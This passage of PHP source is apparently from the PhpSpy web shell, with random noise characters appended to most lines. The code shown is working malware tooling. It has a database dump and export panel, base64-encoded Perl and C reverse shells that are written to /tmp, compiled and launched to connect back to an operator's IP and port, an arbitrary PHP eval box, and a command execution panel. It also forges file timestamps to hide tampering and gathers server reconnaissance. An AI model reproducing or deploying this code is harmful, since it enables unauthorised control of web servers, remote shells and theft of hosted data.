  1021.                         } else {- w6 W+ |5 `9 l& t0 L+ N6 h
  1022.                                 $query = q("SHOW TABLE STATUS");, _( \) Z8 f8 K+ A9 e
  1023.                                 $table_num = $table_rows = $data_size = 0;1 Q( ~) }+ Q/ p
  1024.                                 $tabledb = array();6 F2 B1 O& Y  m3 q" b
  1025.                                 while($table = mysql_fetch_array($query)) {+ Q- D; i& t/ }8 a* o; Z% w
  1026.                                         $data_size = $data_size + $table['Data_length'];1 ^. K. G5 D! l- i9 S
  1027.                                         $table_rows = $table_rows + $table['Rows'];0 y* l! M: w- q5 K- L. R2 f
  1028.                                         $table['Data_length'] = sizecount($table['Data_length']);- l, F2 d# K/ |7 h9 S: l+ V
  1029.                                         $table_num++;1 Z4 e# w1 j  `5 z0 @% A
  1030.                                         $tabledb[] = $table;7 V$ d; {, L' P5 m% g- ^7 |
  1031.                                 }' [5 b7 P5 N* C
  1032.                                 $data_size = sizecount($data_size);+ t' v1 }+ K" ]8 f. E# R: o
  1033.                                 unset($table);
    1 G( I# ]/ _7 G0 V5 _/ N# J2 o+ q
  1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');: f3 I) D- m( B
  1035.                                 p('<form action="'.$self.'" method="POST">');+ Z! F& G- I" b6 _9 q1 g+ G
  1036.                                 makehide('action','sqladmin');6 t8 p/ a1 M/ }; }# O% g' J$ k
  1037.                                 p($dbform);
    $ f( _' q& a0 h+ g2 e
  1038.                                 p('<tr class="head">');3 I; P/ x. o8 i5 v+ G" z0 |& Y; l
  1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');8 ]5 C0 h2 s$ d
  1040.                                 p('<td>Name</td>');
    " m* t% E$ G- l" Z' N- @% v
  1041.                                 p('<td>Rows</td>');
    ; M8 ]: ]$ R3 `, [$ S4 l
  1042.                                 p('<td>Data_length</td>');
    0 X% K* h1 r# f8 r0 T, G2 Q
  1043.                                 p('<td>Create_time</td>');
    ' b' R* X0 D& E2 x+ I
  1044.                                 p('<td>Update_time</td>');/ |8 }1 R0 Q+ k3 E
  1045.                                 if ($highver) {
    ) Q! w. F) g; M' A; B
  1046.                                         p('<td>Engine</td>');0 j1 A& s# P4 k8 u& ]9 p$ c
  1047.                                         p('<td>Collation</td>');
    % Y; f2 T0 X6 S( I1 O* v
  1048.                                 }
    ! O% u  T, F) p9 F
  1049.                                 p('</tr>');  \( P0 A/ l; E8 y6 F2 L1 T
  1050.                                 foreach ($tabledb as $key => $table) {
    % Z" ]0 `# ~) `0 D, [
  1051.                                         $thisbg = bg();2 X& h3 J. d5 ^8 F0 G8 E
  1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    # y! [) F! _& ?% r! B7 D4 C
  1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');( H7 N- _% F7 W( _
  1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
    % i' f2 J, Y2 @. W- P; J
  1055.                                         p('<td>'.$table['Rows'].'</td>');, F6 R9 i  z& X; I
  1056.                                         p('<td>'.$table['Data_length'].'</td>');
    , U8 N% c, i1 j, o
  1057.                                         p('<td>'.$table['Create_time'].'</td>');
    " p, Q# V. H1 {4 x& c: j4 B
  1058.                                         p('<td>'.$table['Update_time'].'</td>');
    ' E+ \2 l* }( H) g0 f, f
  1059.                                         if ($highver) {) j; z4 F; T( V7 P! r! Z
  1060.                                                 p('<td>'.$table['Engine'].'</td>');( j5 j( X9 m6 A, O
  1061.                                                 p('<td>'.$table['Collation'].'</td>');+ v+ P8 v) o+ K7 g
  1062.                                         }
    $ Y7 K" z! a2 T/ I: a0 V  K) l' s; I
  1063.                                         p('</tr>');+ x2 R" }& ?' R, C9 B, ^9 r
  1064.                                 }
    - Q+ G2 p' ~" p& Y4 `
  1065.                                 p('<tr class='.bg().'>');2 v+ q  o9 V* v
  1066.                                 p('<td> </td>');
    ' C* u+ y* G4 m/ k
  1067.                                 p('<td>Total tables: '.$table_num.'</td>');; t) u. c, E+ d0 e) q6 Q3 u6 u2 q
  1068.                                 p('<td>'.$table_rows.'</td>');
    & [6 B, i3 ^" Z) d& R( j
  1069.                                 p('<td>'.$data_size.'</td>');! b' P7 f* u: w( H) F+ R+ n, j. \
  1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');# u. D4 l: j3 r! o2 d7 U
  1071.                                 p('</tr>');
    / a- k2 o4 u- }
  1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
    * |! U$ ~6 i6 c2 q
  1073.                                 makehide('doing','backupmysql');1 C: M! p2 Y  \. ?) @
  1074.                                 formfoot();3 V. u1 P: A# H6 V
  1075.                                 p("</table>");2 m, n( Y9 ?, n: C7 c9 F* `
  1076.                                 fr($query);
    + Q, P# t# J( E
  1077.                         }
    ! v3 i* G2 S* ?" S( {) k
  1078.                 }
      `) [: o6 k/ o1 j" s) D7 I
  1079.         }. m5 v) x; K% [/ |
  1080.         tbfoot();
    9 y9 O/ h9 F7 z4 V; f
  1081.         @mysql_close();
    5 J- m' V1 s* X3 S
  1082. }//end sql backup
    ! Y# b$ I1 @8 T, f& E
  1083. elseif ($action == 'backconnect') {* k8 _/ a7 t) @$ G1 O+ g4 x
  1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];! ]& C; M( K5 D9 {1 L) Q
  1085.         !$yourport && $yourport = '12345';
    # M- G4 P7 ^1 `! a2 N
  1086.         $usedb = array('perl'=>'perl','c'=>'c');
    " d# K, A# N0 s$ M9 _! `! K; B, M( w  \; c
  1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".) s) {7 j) J& J
  1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
    ' x* t/ y" Z0 Q5 ~- x8 A
  1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".8 n% I6 p4 ~9 d+ C( v9 c& O% a
  1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".- b5 Z( c2 W" v0 X  ]9 K
  1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
    + b. \: X/ V, a
  1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
    * K2 K9 X) T. b2 W& _
  1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    1 M/ W$ X* C8 U  C9 y7 r) @
  1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".4 c, K. a. Z! D) n& U+ V
  1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
    & h  t' j! ^2 Q2 _! l& b1 \& b
  1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".8 I/ _7 R' \% ~, N8 i+ {; w
  1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".' c2 t! K) S4 t- e
  1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
    7 `% r% r& ?1 g
  1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
    & P1 }% ^7 d% L: d$ _* M0 y) K4 e! ]# k* W
  1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".' b( S, [6 e' v
  1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";% z. M3 E! m% a$ O5 ?9 `" D
  1102.         if ($start && $yourip && $yourport && $use){) M# _' n4 f$ m& q' \* v
  1103.                 if ($use == 'perl') {  j% y* L; A. r, B1 x
  1104.                         cf('/tmp/angel_bc',$back_connect);
    / z) `8 C: z/ O% P9 L7 B! o
  1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");7 c. |4 [9 N! K% ^
  1106.                 } else {# S: k8 {5 E; L" `/ u7 A6 g
  1107.                         cf('/tmp/angel_bc.c',$back_connect_c);
      j8 u6 X% g/ q( m( h
  1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');) x$ {  b  j. @) r  u+ x( ~# g5 _
  1109.                         @unlink('/tmp/angel_bc.c');, \) [9 E- p9 ~0 t
  1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");* g; Q. i2 P+ D3 a6 D2 f
  1111.                 }, ?# i" u3 ]/ s; r
  1112.                 m("Now script try connect to $yourip port $yourport ...");
    4 @6 Z: `9 _+ ~0 N$ E- X
  1113.         }. a8 ~& y3 ~6 P2 h
  1114.         formhead(array('title'=>'Back Connect'));
    8 v2 e% D  t- K; a7 f4 i% V6 x
  1115.         makehide('action','backconnect');( y* W* }/ x6 C4 J  W
  1116.         p('<p>');  p; c$ y+ j% u0 @# O( ~) J% M1 ^
  1117.         p('Your IP:');
    : Y! r( c! s: a3 U) \1 G, k
  1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
    1 Q5 i8 ?0 e$ O  D
  1119.         p('Your Port:');
    9 r7 ^) l$ G; g: y2 m2 m
  1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));) ^2 h) H" U; Q' F1 G. H5 J
  1121.         p('Use:');
    ( _7 O/ D# J3 J% _! W; F. J+ ~
  1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));0 D- f. D/ Z! r" i" v7 S& m
  1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
    2 }) W+ N& I. Y6 k# V* @, V* ?( {* `
  1124.         p('</p>');
    - L( I  S' O" q% z8 o( J
  1125.         formfoot();
    7 u, O7 {- W% q$ `
  1126. }//end sql backup
    0 ^( V+ ]  U: A
  1127. elseif ($action == 'eval') {% Y2 b' @; ]- q& c
  1128.         $phpcode = trim($phpcode);
    & }' D1 M: V) @
  1129.         if($phpcode){
    " N3 e+ j! p' U$ X
  1130.                 if (!preg_match('#<\?#si', $phpcode)) {
    8 A# Z. D5 m# F  s2 R
  1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";
    9 W- R! M0 L7 X1 P4 r5 p% q; G
  1132.                 }8 H0 g2 v/ r- J
  1133.                 eval("?".">$phpcode<?");1 w5 ~# B) ^# a7 k5 i9 H
  1134.         }
    1 }" }! ~$ T8 `8 c
  1135.         formhead(array('title'=>'Eval PHP Code'));8 P* B$ h1 ^- C( d8 |, w) G6 R
  1136.         makehide('action','eval');  y  L* Q* f# H) `5 ^3 ?
  1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
    / y% Y5 e% r8 `
  1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');& q4 }5 x3 `. c6 H) W" ^3 e2 K
  1139.         formfooter();
    , ~& {5 D- \; {
  1140. }//end eval
    ( O  O  [. `  I. R/ m; C/ x

  1141. " ^/ K$ n( w  w: ^
  1142. elseif ($action == 'editfile') {  N3 D6 @( T; e% K4 I
  1143.         if(file_exists($opfile)) {' j, K$ f1 Z! D6 ?$ C! g
  1144.                 $fp=@fopen($opfile,'r');
    + z! }$ P) y5 [& Z1 a
  1145.                 $contents=@fread($fp, filesize($opfile));
    " X* C8 G. ~; e2 v, p3 C9 e* h
  1146.                 @fclose($fp);
    ) J$ t6 j$ I6 ~) z
  1147.                 $contents=htmlspecialchars($contents);
    ! w5 I: R" ?/ [5 ]
  1148.         }/ u8 X4 c# T+ T! t& _' G
  1149.         formhead(array('title'=>'Create / Edit File'));* _  f8 V# p" _5 F! R3 ?, |  G3 V5 Y
  1150.         makehide('action','file');8 A9 n) r& b$ }
  1151.         makehide('dir',$nowpath);
    . t" q0 I; t* P; {+ f& V! @2 ^' n
  1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));, j3 F5 E. P( R# u. F
  1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
    - U4 c9 s! T8 X+ F
  1154.         formfooter();
    4 X8 c: ^0 V1 _4 }
  1155. }//end editfile  p0 Z0 d- p$ q- f0 F( W

  1156. : K5 z8 F/ u: b6 p
  1157. elseif ($action == 'newtime') {
    8 }  M" u& r% G) Y2 C
  1158.         $opfilemtime = @filemtime($opfile);! Q2 Y' E& R6 S7 L# \/ _& g
  1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");( L7 o! H- i6 ~
  1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);" I" g/ E; f0 k8 e# u" F& T
  1161.         formhead(array('title'=>'Clone file was last modified time'));
    5 E, k  R4 \( O0 {  ?
  1162.         makehide('action','file');  x- M% [) J6 U* y" \
  1163.         makehide('dir',$nowpath);$ E$ q% }" D( ^: q" \* k
  1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));/ T0 `2 X' J" y1 Z
  1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));0 O7 A* n  K6 S$ b: O7 V
  1166.         formfooter();8 I2 |% S& _; F. {5 f, t& {
  1167.         formhead(array('title'=>'Set last modified'));
    1 h& F3 b. a6 z; C0 w
  1168.         makehide('action','file');
    4 a+ U, E& ?2 ~7 M* U
  1169.         makehide('dir',$nowpath);
    7 c8 o4 d5 ^' v  ]7 L/ _
  1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));+ @# N9 s/ g$ Y1 Z  Y0 M8 O
  1171.         p('<p>Instead »');. a( V* _4 H- ~9 h+ _
  1172.         p('year:');1 U) G) P4 [( C: D9 y
  1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
    ; [1 Z9 |" Q! `- k- q& e
  1174.         p('month:');
    % ?5 ~3 {4 ]: `6 u8 ~$ M; w
  1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
    % t) r8 }# p  a4 t+ \; V/ @
  1176.         p('day:');. O. B8 ?# f. D/ ]$ X& }
  1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
    7 o! x/ H9 D- f7 x3 e1 A
  1178.         p('hour:');1 {/ Z( n. {2 _# }% {# |
  1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));' Y* E7 V# p( e+ a9 E0 n
  1180.         p('minute:');
    . b1 u, d) L8 a8 z) l
  1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
    5 S5 g% E4 w5 u* G6 h0 K* v( Z
  1182.         p('second:');
    $ |. K: G" h, D+ \; I1 Z+ G0 g
  1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
    ' |5 g6 U. R1 F& K- K1 q2 @
  1184.         p('</p>');$ Z' P6 D, }) w, Q* g3 O: z
  1185.         formfooter();
    & x! C  _* D. Z. d7 @: H% E
  1186. }//end newtime
    2 A; f: d+ l& b6 M/ ^, K, B

  1187. 7 [- V7 n" P8 g% k* ?% \  t: Q" G
  1188. elseif ($action == 'shell') {
    : U( Z- Q, o$ |- K
  1189.         if (IS_WIN && IS_COM) {" \# ]  X+ Q$ V% D+ O* W; m
  1190.                 if($program && $parameter) {
    % i9 f6 N; h8 ]; O. }  Z4 m9 V$ w
  1191.                         $shell= new COM('Shell.Application');6 S2 N! O* _' V  ?. Y
  1192.                         $a = $shell->ShellExecute($program,$parameter);
    * v% J1 M$ b% W) H- [5 D! @
  1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
    8 v( x" B) F! e" B
  1194.                 }
    ' n6 f5 C7 B# Y/ Q
  1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';* u, A, ^7 i/ i( C% e6 i) ^
  1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
    / N8 }( x6 K' c4 |: |
  1197.                 formhead(array('title'=>'Execute Program'));
    $ \$ a2 g) [+ h! S* J
  1198.                 makehide('action','shell');
    " P  W' d6 ?0 E8 b1 [, I1 k4 E
  1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));: \2 F0 F0 s& _3 z3 _- T$ O
  1200.                 p('<p>');
    . U5 s& f7 f$ y3 z: m. o1 H
  1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));/ \7 ~' T8 O* b/ F+ g6 W
  1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
    9 F1 C2 @3 |$ Q" X$ h
  1203.                 p('</p>');' `' c8 C! B- w+ [
  1204.                 formfoot();: O" i4 H& b% R  x: p$ r
  1205.         }
    / e6 M, p* Q; y7 e7 u3 ?6 j9 _
  1206.         formhead(array('title'=>'Execute Command'));
    ' R9 d% {7 L- x! J5 w" @
  1207.         makehide('action','shell');; S' }: D- x: B) N
  1208.         if (IS_WIN && IS_COM) {; j& M! q7 Z* Q' _2 k# `
  1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');* d' p9 V+ a4 a" ^/ x
  1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
    5 ]  `5 z; d( K( X1 A, V7 l+ I4 g/ [
  1211.         }- ?4 Z8 r) D# p0 l  ~( R/ |/ R5 j
  1212.         p('<p>');
    2 I& c  ~; L, G# c! T7 _3 c
  1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));# L6 l8 b7 Y5 ]3 w0 X
  1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));* j1 L! K3 Q' z+ L
  1215.         p('</p>');
    ' s4 V; C, G4 d& X* N
  1216.         formfoot();0 c* q. D* L3 i
  1217.   K/ v3 s+ r: V  `" U5 O
  1218.         if ($command) {
    : R" Y& P8 z$ A9 M' y: U
  1219.                 p('<hr width="100%" noshade /><pre>');9 B( s  w! `; @
  1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {$ d) V* c7 g2 R1 d& |4 J2 O
  1221.                         $wsh = new COM('WScript.shell');4 {' A7 |1 o# \3 K
  1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);
    8 k6 |3 P8 L( E6 @0 W( |, \
  1223.                         $stdout = $exec->StdOut();
    / ]1 r$ \" C8 ?4 _  G
  1224.                         $stroutput = $stdout->ReadAll();6 j' p2 R$ ?: I
  1225.                         echo $stroutput;
    ! b" V/ a+ _% k4 H' n% a
  1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {0 t: @" A, D, E6 k7 s
  1227.                         $descriptorspec = array(
    $ F( |( C5 t. Z% y/ g$ @; u% P
  1228.                            0 => array('pipe', 'r'),' B7 o# N% g- U" w# Z
  1229.                            1 => array('pipe', 'w'),7 e$ D* \" Q$ ?+ m9 a. p6 k
  1230.                            2 => array('pipe', 'w')
    6 {. H; K+ [9 p3 k
  1231.                         );5 x% N8 y( e0 Y0 H) L* d5 Z
  1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);( A; ?4 u' B7 W! p! Y' P+ W2 x3 J" S
  1233.                         if (is_resource($process)) {# a+ P4 e' ?/ q' T0 D% r5 a2 T
  1234.                                 fwrite($pipes[0], $command."\r\n");
    0 z3 F7 [) n( L1 l  S/ J5 L" D' |
  1235.                                 fwrite($pipes[0], "exit\r\n");
    ! Y( j2 q: ^3 v2 n4 }% r. \* s
  1236.                                 fclose($pipes[0]);. s' e. I, J" m, ?8 H0 G+ e8 n
  1237.                                 while (!feof($pipes[1])) {
    0 B8 A! x) d6 O2 ^
  1238.                                         echo fgets($pipes[1], 1024);
    6 p2 F9 u: @( R, ?
  1239.                                 }% `( Q! ~: H" S7 k4 J" P' d
  1240.                                 fclose($pipes[1]);- a! Z  `: N# G: N- J; ^  G
  1241.                                 while (!feof($pipes[2])) {1 M" K' T& S8 i( W8 g  w
  1242.                                         echo fgets($pipes[2], 1024);
    $ V1 y9 u" {& Q0 L  Y& Z
  1243.                                 }
    - M& _+ ]4 g; G- h; N  z
  1244.                                 fclose($pipes[2]);
    2 s* e; @4 n: e7 p( c
  1245.                                 proc_close($process);
      B! I% d# O: D' \/ t! u
  1246.                         }
    % F6 x4 G0 g# q5 c1 O
  1247.                 } else {& R7 x1 ]3 e9 {7 d- R$ ~/ R
  1248.                         echo(execute($command));
    1 @. c, o0 d1 s; X0 ?2 f
  1249.                 }
    5 k, v, J1 r) c; h+ Z
  1250.                 p('</pre>');# l. t6 Y6 m0 I( c" o7 p& f
  1251.         }7 H$ P% s6 J, x8 ?! y
  1252. }//end shell5 b, W8 ~8 o0 u4 G0 f  @- L. g
  1253. & `0 J; o4 o6 Q4 F! j) l4 R; v# C$ D
  1254. elseif ($action == 'phpenv') {
    & A3 ^( j7 _% @: H
  1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
    : q) f, C9 J' S$ p: J
  1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');, N, C) [, M6 e' k
  1257.         !$dis_func && $dis_func = 'No';       
    , Z" E% N3 j! F3 U7 V
  1258.         $info = array(
    3 g) g2 ]. G/ @' P0 _
  1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),; O2 d1 J# u0 G6 c
  1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
      p6 F& |" ]6 ~' F
  1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),) ]2 i! _$ ?( i
  1262.                 4 => array('Server OS',PHP_OS),
    8 x8 p* w) x  \( a- z; V2 z
  1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),( q; Q1 d, E2 p; V* x+ ^
  1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
    / v( a2 y4 F5 E, g/ ?4 P5 X
  1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),  |& ^# Y% N+ M; s
  1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),9 \6 q0 D7 `$ s5 S; G
  1267.                 9 => array('The file path',__FILE__),
    " ~$ O8 M: V9 k
  1268. + R' Q- m+ R+ @# {0 ^2 M) R
  1269.                 10 => array('PHP Version',PHP_VERSION),
    ! a3 W7 B; F6 v3 R, Y* q& A1 k2 E
  1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),# ~+ f% p0 Y/ e) N, ]
  1271.                 12 => array('Safe Mode',getcfg('safe_mode')),  P( ?! j) t- m! t/ l
  1272.                 13 => array('Administrator',$adminmail),
    % r; X) x0 z* p% l2 M/ O
  1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),5 w0 ~8 p: Y+ ?) G
  1274.                 15 => array('enable_dl',getcfg('enable_dl')),
    8 j$ u6 I% \3 k2 Q( U5 ]
  1275.                 16 => array('display_errors',getcfg('display_errors')),- b2 P8 G* f* h# u
  1276.                 17 => array('register_globals',getcfg('register_globals')),
    3 d8 L# M; p( d3 K4 y
  1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
    ! s$ D3 T+ U+ t& X
  1278.                 19 => array('memory_limit',getcfg('memory_limit')),
    % D; m& {" H6 q+ A! l7 N' R: a6 R' O
  1279.                 20 => array('post_max_size',getcfg('post_max_size')),
    - I. n- d( I% \% [; y0 q5 e- L
  1280.                 21 => array('upload_max_filesize',$upsize),
    ( R& }# l  ?- Q
  1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
    4 h8 Z4 ?9 y( Y# o3 A
  1282.                 23 => array('disable_functions',$dis_func),
    6 f" o$ U4 q0 B+ R- m0 t
  1283.         );
    2 D( }- B# N- M- H4 P! \

  1284. 4 g. O  m& D0 H+ r& y
  1285.         if($phpvarname) {0 `9 p3 w; t  h# j9 I( B
  1286.                 m($phpvarname .' : '.getcfg($phpvarname));
    8 J5 I3 A+ w, h$ l* S
  1287.         }. K4 D' N; X6 c: r( M9 v% d* M3 G
  1288. 0 ]5 T# a1 b6 X9 y$ n/ w: T- b$ E) L
  1289.         formhead(array('title'=>'Server environment'));( U5 @+ E1 ]" p
  1290.         makehide('action','phpenv');
    5 h- F* }: J& u/ L9 B3 K, v
  1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));/ Z8 z8 g) ~1 O* }6 v, D- U  |  |
  1292.         formfooter();
    # E9 O7 }; W8 N9 @: ?4 q1 h7 w
  1293. $ H! A" w$ E* s5 g2 u7 Y
  1294.         $hp = array(0=> 'Server', 1=> 'PHP');
    % K! i  v8 q; B
  1295.         for($a=0;$a<2;$a++) {2 G* P* U9 y* T8 d+ f  f* G" u1 k
  1296.                 p('<h2>'.$hp[$a].' »</h2>');, d; M+ U) s! q4 k! `* s2 `# p
  1297.                 p('<ul class="info">');, v* v2 F; o, Z8 F" F# d
  1298.                 if ($a==0) {
    & k+ Z8 J0 a. f! w5 A0 r
  1299.                         for($i=1;$i<=9;$i++) {: F! U( e2 g, N! c1 l5 v! T
  1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');1 l- G* {7 ~2 B; [6 {* n) e' W* x1 X
  1301.                         }
    , ~6 e9 @# V1 N' S1 O2 P
  1302.                 } elseif ($a == 1) {
    5 }- e- e' [# a, \8 c
  1303.                         for($i=10;$i<=23;$i++) {1 m0 }/ y$ @& s" B9 v! r/ x
  1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');6 q7 {$ M4 i- s5 L3 B4 D5 Z, |
  1305.                         }: W: N, Z+ i8 G% V+ t8 D
  1306.                 }  a2 Y' i; c% w% ~1 e# }( m
  1307.                 p('</ul>');
    % y$ I/ u  U5 {! _. k( R* B
  1308.         }' ~; ]- |- b5 [5 C& L: w) a/ B
  1309. }//end phpenv$ o' h9 [2 v# K

  1310. ' k! ~& t# `% Q
  1311. else {! v1 s/ z6 y$ _/ X" q% k) {
  1312.         m('Undefined Action');
    9 {8 @: |3 G) D6 w
  1313. }* U2 E' W1 {4 [  b, M! Q
  1314. % @6 u8 ?8 Y+ o1 o6 ?
  1315. ?>: K+ T% \4 o4 z! M9 E8 J# k) d
  1316. </td></tr></table>
    ) G. ]0 K* L( y, i3 Z5 i1 J: E
  1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
    $ J& X9 f, U7 ?, x
  1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
    1 `8 Z, x- Z3 G( ^& u
  1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.7 J; S  ~9 D, M, |6 x1 n' o- e. r
  1320. </div>1 u9 m; P1 F1 p
